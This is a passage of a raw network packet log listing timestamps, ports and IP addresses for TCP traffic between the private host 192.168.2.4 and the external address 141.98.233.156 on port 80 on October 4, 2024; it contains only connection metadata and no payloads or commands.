Oct 4, 2024 09:52:32.726013899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726020098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726047993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726052999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726082087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726402044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726433992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726444960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726466894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726468086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726500034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726501942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726532936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726533890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726566076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726567984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726598024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726598978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726629019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726630926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726660967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726663113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726691961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726696968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726723909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726727009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726756096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726759911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726788044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726790905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726819992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726821899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726851940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726854086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726885080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726885080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726917028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726918936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726948977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726950884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.726980925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.726985931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.727015018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728086948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728118896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728140116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728149891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728157043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728183031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728185892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728214979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728221893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728245974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728254080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728276968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728281975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728308916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728312016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728339911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728344917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728373051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728377104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728404999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728409052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728436947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728439093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728467941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728471041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728499889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728503942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728532076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728538036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728563070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728568077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728595018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728600979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728626013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728631020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728655100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728661060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728687048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728691101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728718996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.728724957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.728755951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.729275942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.729307890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.729332924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.729338884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.729346991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.729371071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.729378939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.729399920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.755785942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.760863066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940637112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940702915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940737009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940753937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940772057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940787077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940804958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940843105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940860987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940893888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940911055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940920115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.940920115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.940943003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.940974951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941023111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941059113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941088915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941122055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941135883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941135883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941135883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941135883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941137075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941154003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941157103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941157103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941186905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941190958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941219091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941222906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941252947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941253901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941287994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941349983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941380978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941385984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941411972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941415071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941445112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941447020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941477060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941478968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941508055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941510916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941540956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941543102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941575050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941653967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941685915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941696882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941719055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941720009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941750050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941756010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941781998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941783905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941813946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941816092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941847086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.941859007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941880941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.941993952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942024946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942054987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942065954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942087889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942089081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942120075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942140102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942151070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942156076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942184925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942213058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942215919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942249060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942253113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942254066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942281008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942307949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942315102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942325115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942352057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942490101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942521095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942528009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942553043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942554951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942584991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942591906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942612886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942616940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942648888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942679882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942682981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942708969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942713976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942722082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942745924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942760944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942779064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942783117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942812920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.942820072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.942856073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943064928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943113089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943114996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943147898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943181038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943212032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943243027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943258047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943278074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943308115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943334103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943340063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943355083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943435907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943454027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943487883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943500042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943519115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943525076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943552017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943576097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943583012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943608999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943615913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943629980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943648100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943651915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943681002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943696022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943712950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943726063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943744898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943754911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943777084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.943790913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.943811893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944025993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944057941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944072962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944089890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944099903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944122076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944130898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944154024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944168091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944185972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944195986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944219112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944231033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944251060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944258928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944281101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944293976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944314003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944314003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944345951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944360018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944379091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944389105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944411039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944434881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944442987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944472075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944475889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944488049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944508076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944509983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944541931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944556952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944575071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944585085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944607019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944612026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944639921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.944650888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.944681883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945025921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945058107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945070982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945086002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945096970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945117950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945126057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945149899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945163012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945182085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945194960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945214987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945219040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945247889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945260048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945281029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945287943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945312023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945324898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945343971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945353031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945375919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945400000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945406914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945417881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945437908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945446968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945470095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945482016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945502043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945511103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945534945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945549965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945565939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945569992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945599079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945611000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945628881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945641041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945661068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945667982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945739985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945751905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945780993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945794106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945826054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945837975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945858002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.945871115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.945890903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029369116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029419899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029454947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029479980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029479980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029490948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029525995 CEST	80	49745	141.98.233.156	192.168.2.4
